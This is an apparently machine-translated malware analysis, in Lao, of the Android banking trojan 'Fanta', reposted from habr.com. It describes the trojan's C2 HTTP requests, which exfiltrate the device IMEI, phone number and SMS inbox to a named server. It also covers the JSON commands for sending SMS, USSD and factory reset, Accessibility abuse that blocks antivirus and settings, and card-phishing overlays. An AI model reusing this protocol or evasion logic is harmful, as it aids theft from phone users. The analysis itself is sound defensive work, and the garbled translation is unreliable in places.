• can_avito — ພາກ​ສະ​ຫນາມ​ແມ່ນ​ຮັບ​ຜິດ​ຊອບ​ສໍາ​ລັບ​ການ​ສະ​ແດງ​ຮູບ​ແບບ​ໃນ​ເວ​ລາ​ທີ່​ເປີດ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ Avito​
• can_ali — ພາກສະຫນາມແມ່ນຮັບຜິດຊອບສໍາລັບການສະແດງແບບຟອມໃນເວລາທີ່ເປີດຄໍາຮ້ອງສະຫມັກ Aliexpress
• can_ອື່ນ — ພາກ​ສະ​ຫນາມ​ແມ່ນ​ຮັບ​ຜິດ​ຊອບ​ສໍາ​ລັບ​ການ​ສະ​ແດງ​ຮູບ​ແບບ​ໃນ​ເວ​ລາ​ທີ່​ເປີດ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ຈາກ​ບັນ​ຊີ​ລາຍ​ການ​: Yula, Pandao, Drom Auto, Wallet. ບັດສ່ວນຫຼຸດ ແລະໂບນັດ, Aviasale, Booking, Trivago
• can_card — ພາກ ສະ ຫນາມ ແມ່ນ ຮັບ ຜິດ ຊອບ ສໍາ ລັບ ການ ສະ ແດງ ຮູບ ແບບ ໃນ ເວ ລາ ທີ່ ເປີດ ກູໂກຫຼິ້ນ

ການໂຕ້ຕອບກັບເຄື່ອງແມ່ຂ່າຍການຈັດການ

ການໂຕ້ຕອບຂອງເຄືອຂ່າຍກັບເຄື່ອງແມ່ຂ່າຍການຈັດການເກີດຂື້ນຜ່ານໂປໂຕຄອນ HTTP. ເພື່ອເຮັດວຽກກັບເຄືອຂ່າຍ, Fanta ໃຊ້ຫ້ອງສະໝຸດ Retrofit ທີ່ນິຍົມ. ການຮ້ອງຂໍແມ່ນຖືກສົ່ງໄປຫາ: hXXp://onuseseddohap[.]club/controller.php. ທີ່ຢູ່ເຊີບເວີສາມາດປ່ຽນແປງໄດ້ເມື່ອລົງທະບຽນຢູ່ໃນເຄື່ອງແມ່ຂ່າຍ. Cookies ອາດຈະຖືກສົ່ງໃນການຕອບສະຫນອງຈາກເຄື່ອງແມ່ຂ່າຍ. Fanta ເຮັດການຮ້ອງຂໍຕໍ່ໄປນີ້ກັບເຄື່ອງແມ່ຂ່າຍ:

• ການລົງທະບຽນຂອງ bot ໃນເຄື່ອງແມ່ຂ່າຍການຄວບຄຸມເກີດຂຶ້ນຄັ້ງດຽວ, ເມື່ອເປີດຕົວຄັ້ງທໍາອິດ. ຂໍ້ມູນຕໍ່ໄປນີ້ກ່ຽວກັບອຸປະກອນທີ່ຕິດເຊື້ອແມ່ນຖືກສົ່ງໄປຫາເຊີບເວີ:
  · ຄຸກກີ - cookies ທີ່​ໄດ້​ຮັບ​ຈາກ​ເຄື່ອງ​ແມ່​ຂ່າຍ (ຄ່າ​ເລີ່ມ​ຕົ້ນ​ແມ່ນ​ສະ​ຕ​ຣິ​ງ​ເປົ່າ​)
  · ຮູບແບບການ - ສະຕຣິງຄົງທີ່ register_bot
  · ຄຳ ນຳ ໜ້າ - ຈຳນວນຄົງທີ່ 2
  · version_sdk - ຖືກ​ສ້າງ​ຂຶ້ນ​ຕາມ​ແມ່​ແບບ​ດັ່ງ​ຕໍ່​ໄປ​ນີ້​: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · imei - IMEI ຂອງອຸປະກອນທີ່ຕິດເຊື້ອ
  · ປະເທດ — ລະຫັດຂອງປະເທດທີ່ຜູ້ປະກອບການລົງທະບຽນ, ໃນຮູບແບບ ISO
  · ຈໍານວນ - ເບີ​ໂທລະ​ສັບ
  · ປະຕິບັດການ - ຊື່​ປະ​ຕິ​ບັດ​ການ​

  ຕົວຢ່າງຂອງການຮ້ອງຂໍທີ່ຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  ໃນການຕອບສະໜອງຕໍ່ການຮ້ອງຂໍ, ເຊີບເວີຕ້ອງສົ່ງຄືນວັດຖຸ JSON ທີ່ມີພາລາມິເຕີຕໍ່ໄປນີ້:
  · bot_id — ID ຂອງອຸປະກອນທີ່ຕິດເຊື້ອ. ຖ້າ bot_id ເທົ່າກັບ 0, Fanta ຈະດໍາເນີນການຮ້ອງຂໍຄືນໃຫມ່.
  bot_pwd — ລະ​ຫັດ​ຜ່ານ​ສໍາ​ລັບ​ເຄື່ອງ​ແມ່​ຂ່າຍ​.
  ເຊີບເວີ - ຄວບຄຸມທີ່ຢູ່ຂອງເຄື່ອງແມ່ຂ່າຍ. ພາລາມິເຕີທາງເລືອກ. ຖ້າພາລາມິເຕີບໍ່ໄດ້ລະບຸ, ທີ່ຢູ່ທີ່ບັນທຶກໄວ້ໃນແອັບພລິເຄຊັນຈະຖືກນໍາໃຊ້.

  ຕົວຢ່າງ JSON object:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• ຮ້ອງຂໍໃຫ້ໄດ້ຮັບຄໍາສັ່ງຈາກເຄື່ອງແມ່ຂ່າຍ. ຂໍ້ມູນຕໍ່ໄປນີ້ຖືກສົ່ງໄປຫາເຊີບເວີ:
  · ຄຸກກີ - ຄຸກກີ້ທີ່ໄດ້ຮັບຈາກເຊີບເວີ
  · bid — ID ຂອງ​ອຸ​ປະ​ກອນ​ຕິດ​ເຊື້ອ​ທີ່​ໄດ້​ຮັບ​ໃນ​ເວ​ລາ​ທີ່​ສົ່ງ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ register_bot
  · ນອນd - ລະ​ຫັດ​ຜ່ານ​ສໍາ​ລັບ​ເຄື່ອງ​ແມ່​ຂ່າຍ​
  · divice_admin — ພາກ​ສະ​ຫນາມ​ກໍາ​ນົດ​ວ່າ​ສິດ​ຂອງ​ຜູ້​ບໍ​ລິ​ຫານ​ໄດ້​ຮັບ​. ຖ້າສິດທິຜູ້ບໍລິຫານໄດ້ຮັບ, ພາກສະຫນາມແມ່ນເທົ່າກັບ 1, ຖ້າບໍ່ດັ່ງນັ້ນ 0
  · ການເຂົ້າເຖິງ — ສະ​ຖາ​ນະ​ການ​ການ​ບໍ​ລິ​ການ​ການ​ເຂົ້າ​ເຖິງ​. ຖ້າການບໍລິການໄດ້ເລີ່ມຕົ້ນ, ມູນຄ່າແມ່ນ 1, ຖ້າບໍ່ດັ່ງນັ້ນ 0
  · SMSManager — ສະ​ແດງ​ໃຫ້​ເຫັນ​ວ່າ Trojan ຖືກ​ເປີດ​ໃຫ້​ໃຊ້​ເປັນ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ໃນ​ຕອນ​ຕົ້ນ​ສໍາ​ລັບ​ການ​ໄດ້​ຮັບ SMS​
  · ຫນ້າຈໍ — ສະແດງວ່າໜ້າຈໍຢູ່ໃນສະຖານະໃດ. ຄ່າຈະຖືກກໍານົດ 1, ຖ້າຫນ້າຈໍເປີດ, ຖ້າບໍ່ດັ່ງນັ້ນ 0;

  ຕົວຢ່າງຂອງການຮ້ອງຂໍທີ່ຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  ອີງຕາມຄໍາສັ່ງ, ເຄື່ອງແມ່ຂ່າຍສາມາດສົ່ງຄືນວັດຖຸ JSON ທີ່ມີພາລາມິເຕີທີ່ແຕກຕ່າງກັນ:

  · ທີມງານ ສົ່ງຂໍ້ຄວາມ SMS: ຕົວກໍານົດການປະກອບມີເບີໂທລະສັບ, ຂໍ້ຄວາມຂອງຂໍ້ຄວາມ SMS ແລະ ID ຂອງຂໍ້ຄວາມທີ່ຖືກສົ່ງໄປ. ຕົວລະບຸຖືກໃຊ້ເມື່ອສົ່ງຂໍ້ຄວາມໄປຫາເຊີບເວີດ້ວຍປະເພດ setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ໂທອອກ ຫຼືຄຳສັ່ງ USSD: ເບີໂທລະສັບຫຼືຄໍາສັ່ງມາຢູ່ໃນຮ່າງກາຍຕອບສະຫນອງ.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ປ່ຽນຕົວກໍານົດໄລຍະຫ່າງ.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ປ່ຽນຕົວກໍານົດການຂັດຂວາງ.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ປ່ຽນພາກສະຫນາມ SmsManager.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ເກັບກໍາຂໍ້ຄວາມ SMS ຈາກອຸປະກອນທີ່ຕິດເຊື້ອ.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ຣີເຊັດໂທລະສັບຂອງທ່ານເປັນການຕັ້ງຄ່າໂຮງງານ:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · ທີມງານ ປ່ຽນຕົວກໍານົດການ ReadDialog.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• ການສົ່ງຂໍ້ຄວາມທີ່ມີປະເພດ setSmsStatus. ການຮ້ອງຂໍນີ້ແມ່ນເຮັດຫຼັງຈາກຄໍາສັ່ງຖືກປະຕິບັດ ສົ່ງຂໍ້ຄວາມ SMS. ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ເບິ່ງ​ຄື​ນີ້​:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• ກຳລັງອັບໂຫຼດເນື້ອໃນຖານຂໍ້ມູນ. ແຖວໜຶ່ງຖືກສົ່ງຕໍ່ຕໍ່ການຮ້ອງຂໍ. ຂໍ້ມູນຕໍ່ໄປນີ້ຖືກສົ່ງໄປຫາເຊີບເວີ:
  · ຄຸກກີ - ຄຸກກີ້ທີ່ໄດ້ຮັບຈາກເຊີບເວີ
  · ຮູບແບບການ - ສະຕຣິງຄົງທີ່ setSaveInboxSms
  · bid — ID ຂອງ​ອຸ​ປະ​ກອນ​ຕິດ​ເຊື້ອ​ທີ່​ໄດ້​ຮັບ​ໃນ​ເວ​ລາ​ທີ່​ສົ່ງ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ register_bot
  · ຂໍ້ຄວາມ — ຂໍ້​ຄວາມ​ໃນ​ບັນ​ທຶກ​ຖານ​ຂໍ້​ມູນ​ປະ​ຈຸ​ບັນ (ພາກ​ສະ​ຫນາມ​ d ຈາກຕາຕະລາງ ຂໍ້ມູນບັນທຶກ ໃນຖານຂໍ້ມູນ а)
  · ຈໍານວນ — ຊື່​ຂອງ​ການ​ບັນ​ທຶກ​ຖານ​ຂໍ້​ມູນ​ໃນ​ປະ​ຈຸ​ບັນ (ພາກ​ສະ​ຫນາມ​ p ຈາກຕາຕະລາງ ຂໍ້ມູນບັນທຶກ ໃນຖານຂໍ້ມູນ а)
  · sms_mode — ຄ່າ integer (ຊ່ອງຂໍ້ມູນ m ຈາກຕາຕະລາງ ຂໍ້ມູນບັນທຶກ ໃນຖານຂໍ້ມູນ а)

  ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ເບິ່ງ​ຄື​ນີ້​:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  ຖ້າຖືກສົ່ງກັບເຄື່ອງແມ່ຂ່າຍສົບຜົນສໍາເລັດ, ແຖວຈະຖືກລຶບອອກຈາກຕາຕະລາງ. ຕົວຢ່າງຂອງວັດຖຸ JSON ທີ່ສົ່ງຄືນໂດຍເຊີບເວີ:

  {
      "response":[],
      "status":"ok"
  }

ການໂຕ້ຕອບກັບການບໍລິການຊ່ວຍເຂົ້າເຖິງ

AccessibilityService ໄດ້ຖືກຈັດຕັ້ງປະຕິບັດເພື່ອເຮັດໃຫ້ອຸປະກອນ Android ງ່າຍຕໍ່ການໃຊ້ສໍາລັບຄົນພິການ. ໃນກໍລະນີຫຼາຍທີ່ສຸດ, ການໂຕ້ຕອບທາງດ້ານຮ່າງກາຍແມ່ນຈໍາເປັນເພື່ອພົວພັນກັບຄໍາຮ້ອງສະຫມັກ. AccessibilityService ອະນຸຍາດໃຫ້ທ່ານເຮັດພວກມັນດ້ວຍໂປຣແກຣມ. Fanta ໃຊ້ບໍລິການສ້າງປ່ອງຢ້ຽມປອມໃນແອັບພລິເຄຊັນທະນາຄານ ແລະປ້ອງກັນບໍ່ໃຫ້ຜູ້ໃຊ້ເປີດການຕັ້ງຄ່າລະບົບ ແລະບາງແອັບພລິເຄຊັນ.

ການນໍາໃຊ້ຫນ້າທີ່ຂອງ AccessibilityService, Trojan ຕິດຕາມກວດກາການປ່ຽນແປງອົງປະກອບໃນຫນ້າຈໍຂອງອຸປະກອນທີ່ຕິດເຊື້ອ. ດັ່ງທີ່ໄດ້ອະທິບາຍໄວ້ກ່ອນຫນ້ານີ້, ການຕັ້ງຄ່າ Fanta ປະກອບດ້ວຍພາລາມິເຕີທີ່ຮັບຜິດຊອບສໍາລັບການດໍາເນີນການບັນທຶກດ້ວຍກ່ອງໂຕ້ຕອບ - ອ່ານກ່ອງໂຕ້ຕອບ. ຖ້າພາລາມິເຕີນີ້ຖືກຕັ້ງ, ຂໍ້ມູນກ່ຽວກັບຊື່ແລະລາຍລະອຽດຂອງຊຸດທີ່ເຮັດໃຫ້ເກີດເຫດການຈະຖືກເພີ່ມໃສ່ຖານຂໍ້ມູນ. Trojan ດໍາເນີນການດັ່ງຕໍ່ໄປນີ້ເມື່ອເຫດການຖືກກະຕຸ້ນ:

• ຈຳລອງການກົດປຸ່ມກັບຫຼັງ ແລະປຸ່ມໂຮມໃນກໍລະນີຕໍ່ໄປນີ້:
  · ຖ້າຜູ້ໃຊ້ຕ້ອງການປິດເປີດອຸປະກອນຂອງລາວຄືນໃໝ່
  · ຖ້າຜູ້ໃຊ້ຕ້ອງການລຶບແອັບພລິເຄຊັນ "Avito" ຫຼືປ່ຽນສິດການເຂົ້າເຖິງ
  · ຖ້າມີການກ່າວເຖິງຄໍາຮ້ອງສະຫມັກ "Avito" ໃນຫນ້າ
  · ເມື່ອເປີດແອັບພລິເຄຊັນ Google Play Protect
  · ເມື່ອເປີດໜ້າຕ່າງໆດ້ວຍການຕັ້ງຄ່າ AccessibilityService
  · ເມື່ອກ່ອງໂຕ້ຕອບຄວາມປອດໄພຂອງລະບົບປະກົດຂຶ້ນ
  · ເມື່ອເປີດໜ້າດ້ວຍການຕັ້ງຄ່າ “Draw over other app”
  · ເມື່ອເປີດໜ້າ “ແອັບພລິເຄຊັນ”, “ການກູ້ຂໍ້ມູນ ແລະຣີເຊັດ”, “ຣີເຊັດຂໍ້ມູນ”, “ຣີເຊັດການຕັ້ງຄ່າ”, “ແຜງພັດທະນາ”, “ພິເສດ. ໂອກາດ", "ໂອກາດພິເສດ", "ສິດທິພິເສດ"
  · ຖ້າເຫດການຖືກສ້າງຂື້ນໂດຍແອັບພລິເຄຊັນທີ່ແນ່ນອນ.

  ບັນຊີລາຍຊື່ຂອງຄໍາຮ້ອງສະຫມັກ

  • ຫຸ່ນຍົນ
  • Master Lite
  • ທໍາຄວາມສະອາດແມ່ບົດ
  • Master Master ສຳ ລັບ CPU x86
  • ການຄຸ້ມຄອງການອະນຸຍາດຄໍາຮ້ອງສະຫມັກ Meizu
  • ຄວາມປອດໄພ MIUI
  • Clean Master - Antivirus & Cache ແລະເຄື່ອງເຮັດຄວາມສະອາດຂີ້ເຫຍື້ອ
  • ການຄວບຄຸມຂອງພໍ່ແມ່ ແລະ GPS: Kaspersky SafeKids
  • Kaspersky Antivirus AppLock & Web Security Beta
  • ເຄື່ອງເຮັດຄວາມສະອາດໄວຣັດ, ຕ້ານໄວຣັດ, ເຮັດຄວາມສະອາດ (MAX ຄວາມປອດໄພ)
  • Mobile AntiVirus Security PRO
  • ປ້ອງກັນໄວຣັດ Avast & ການປ້ອງກັນຟຣີ 2019
  • ຄວາມ​ປອດ​ໄພ​ໂທລະ​ສັບ​ມື​ຖື MegaFon​
  • ການປົກປ້ອງ AVG ສໍາລັບ Xperia
  • ຄວາມ​ປອດ​ໄພ​ໂທລະ​ສັບ​ມື​ຖື​
  • Malwarebytes antivirus & ການປ້ອງກັນ
  • Antivirus ສໍາລັບ Android 2019
  • ແມ່ບົດຄວາມປອດໄພ - Antivirus, VPN, AppLock, Booster
  • AVG antivirus ສໍາລັບ Huawei Tablet System Manager
  • Samsung Accessibility
  • Samsung Smart Manager
  • ອາຈານຄວາມປອດໄພ
  • Booster ຄວາມໄວ
  • dr.web
  • Dr.Web Space ຄວາມປອດໄພ
  • Dr.Web ສູນ​ຄວບ​ຄຸມ​ໂທລະ​ສັບ​ມື​ຖື​
  • Dr.Web ຄວາມປອດໄພ Space Life
  • Dr.Web ສູນ​ຄວບ​ຄຸມ​ໂທລະ​ສັບ​ມື​ຖື​
  • Antivirus & ຄວາມປອດໄພມືຖື
  • Kaspersky Internet Security: Antivirus ແລະການປົກປ້ອງ
  • ຊີວິດຫມໍ້ໄຟ Kaspersky: Saver & Booster
  • Kaspersky Endpoint Security - ການປົກປ້ອງແລະການຄຸ້ມຄອງ
  • AVG Antivirus ຟຣີ 2019 - ການປົກປ້ອງສໍາລັບ Android
  • Antivirus Android
  • Norton Mobile Security ແລະ Antivirus
  • Antivirus, firewall, VPN, ຄວາມປອດໄພໃນມືຖື
  • ຄວາມ​ປອດ​ໄພ​ໂທລະ​ສັບ​ມື​ຖື​: antivirus​, VPN​, ການ​ປ້ອງ​ກັນ​ການ​ລັກ​
  • Antivirus ສໍາລັບ Android

• ຖ້າມີການຮ້ອງຂໍການອະນຸຍາດໃນເວລາທີ່ສົ່ງຂໍ້ຄວາມ SMS ໄປຫາຕົວເລກສັ້ນ, Fanta simulates ການຄລິກໃສ່ກ່ອງກາເຄື່ອງຫມາຍ ຈື່ທາງເລືອກ ແລະປຸ່ມ ສົ່ງ.
• ເມື່ອທ່ານພະຍາຍາມເອົາສິດຜູ້ບໍລິຫານຈາກ Trojan, ມັນຈະລັອກໜ້າຈໍໂທລະສັບ.
• ປ້ອງກັນການເພີ່ມຜູ້ບໍລິຫານໃໝ່.
• ຖ້າຫາກວ່າຄໍາຮ້ອງສະຫມັກ antivirus dr.web ກວດພົບໄພຂົ່ມຂູ່, Fanta imitates ການກົດປຸ່ມ ບໍ່ສົນໃຈ.
• Trojan ຈໍາລອງການກົດປຸ່ມກັບຄືນໄປບ່ອນແລະຫນ້າທໍາອິດຖ້າຫາກວ່າເຫດການໄດ້ຖືກສ້າງຂື້ນໂດຍຄໍາຮ້ອງສະຫມັກ Samsung Device Care.
• Fanta ສ້າງປ່ອງຢ້ຽມ phishing ທີ່ມີແບບຟອມສໍາລັບການປ້ອນຂໍ້ມູນກ່ຽວກັບບັດທະນາຄານຖ້າຫາກວ່າຄໍາຮ້ອງສະຫມັກຈາກບັນຊີລາຍຊື່ຂອງປະມານ 30 ບໍລິການອິນເຕີເນັດທີ່ແຕກຕ່າງກັນໄດ້ຖືກເປີດຕົວ. ໃນບັນດາພວກເຂົາ: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto, ແລະອື່ນໆ.
  

  ແບບຟອມ phishing

  Fanta ວິເຄາະວ່າແອັບພລິເຄຊັນໃດກຳລັງແລ່ນຢູ່ໃນອຸປະກອນທີ່ຕິດເຊື້ອ. ຖ້າແອັບພລິເຄຊັນມີຄວາມສົນໃຈຖືກເປີດ, Trojan ຈະສະແດງປ່ອງຢ້ຽມ phishing ຢູ່ເທິງສຸດຂອງສິ່ງອື່ນໆ, ເຊິ່ງເປັນແບບຟອມສໍາລັບການປ້ອນຂໍ້ມູນບັດທະນາຄານ. ຜູ້ໃຊ້ຕ້ອງໃສ່ຂໍ້ມູນຕໍ່ໄປນີ້:

  • ເລກບັດ
  • ວັນໝົດອາຍຸບັດ
  • CVV
  • ຊື່ຜູ້ຖືບັດ (ບໍ່ແມ່ນສໍາລັບທຸກທະນາຄານ)

  ອີງຕາມແອັບພລິເຄຊັນທີ່ໃຊ້ຢູ່, ປ່ອງຢ້ຽມ phishing ທີ່ແຕກຕ່າງກັນຈະຖືກສະແດງ. ຂ້າງລຸ່ມນີ້ແມ່ນຕົວຢ່າງບາງສ່ວນຂອງພວກເຂົາ:

  AliExpress:

  
  Avito:

  
  ສໍາລັບບາງຄໍາຮ້ອງສະຫມັກອື່ນໆ, e.g. Google Play Market, Aviasales, Pandao, ການຈອງ, Trivago:
  

  ມັນເປັນແນວໃດແທ້ໆ
  

  ໂຊກດີ, ຜູ້ທີ່ໄດ້ຮັບຂໍ້ຄວາມ SMS ທີ່ອະທິບາຍໃນຕອນຕົ້ນຂອງບົດຄວາມໄດ້ຫັນອອກເປັນຜູ້ຊ່ຽວຊານດ້ານຄວາມປອດໄພທາງອິນເຕີເນັດ. ດັ່ງນັ້ນ, ສະບັບທີ່ແທ້ຈິງ, ບໍ່ແມ່ນຜູ້ອໍານວຍການແມ່ນແຕກຕ່າງຈາກສິ່ງທີ່ໄດ້ກ່າວມາກ່ອນຫນ້ານີ້: ບຸກຄົນໃດຫນຶ່ງໄດ້ຮັບ SMS ທີ່ຫນ້າສົນໃຈ, ຫຼັງຈາກນັ້ນລາວໄດ້ມອບໃຫ້ທີມງານ - IB Threat Hunting Intelligence. ຜົນໄດ້ຮັບຂອງການໂຈມຕີແມ່ນບົດຄວາມນີ້. ສິ້ນສຸດຄວາມສຸກ, ບໍ່ແມ່ນບໍ? ຢ່າງໃດກໍ່ຕາມ, ບໍ່ແມ່ນເລື່ອງທັງຫມົດຈົບລົງຢ່າງສໍາເລັດຜົນ, ແລະເພື່ອໃຫ້ເລື່ອງຂອງເຈົ້າບໍ່ຄ້າຍຄືກັບການຕັດຂອງຜູ້ອໍານວຍການທີ່ມີການສູນເສຍເງິນ, ໃນກໍລະນີຫຼາຍທີ່ສຸດ, ມັນພຽງພໍທີ່ຈະປະຕິບັດຕາມກົດລະບຽບທີ່ອະທິບາຍຍາວຕໍ່ໄປນີ້:

  • ຢ່າຕິດຕັ້ງແອັບພລິເຄຊັນສໍາລັບອຸປະກອນມືຖືທີ່ມີ Android OS ຈາກແຫຼ່ງອື່ນນອກເຫນືອຈາກ Google Play
  • ເມື່ອຕິດຕັ້ງແອັບພລິເຄຊັນ, ໃຫ້ເອົາໃຈໃສ່ເປັນພິເສດຕໍ່ສິດທິທີ່ຮ້ອງຂໍໂດຍແອັບພລິເຄຊັນ
  • ເອົາໃຈໃສ່ກັບສ່ວນຂະຫຍາຍຂອງໄຟລ໌ທີ່ດາວໂຫຼດມາ
  • ຕິດຕັ້ງການອັບເດດ Android OS ເປັນປະຈໍາ
  • ຢ່າໄປຢ້ຽມຢາມຊັບພະຍາກອນທີ່ຫນ້າສົງໄສແລະຢ່າດາວໂຫລດໄຟລ໌ຈາກບ່ອນນັ້ນ
  • ຢ່າຄລິກໃສ່ການເຊື່ອມຕໍ່ທີ່ໄດ້ຮັບໃນຂໍ້ຄວາມ SMS.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com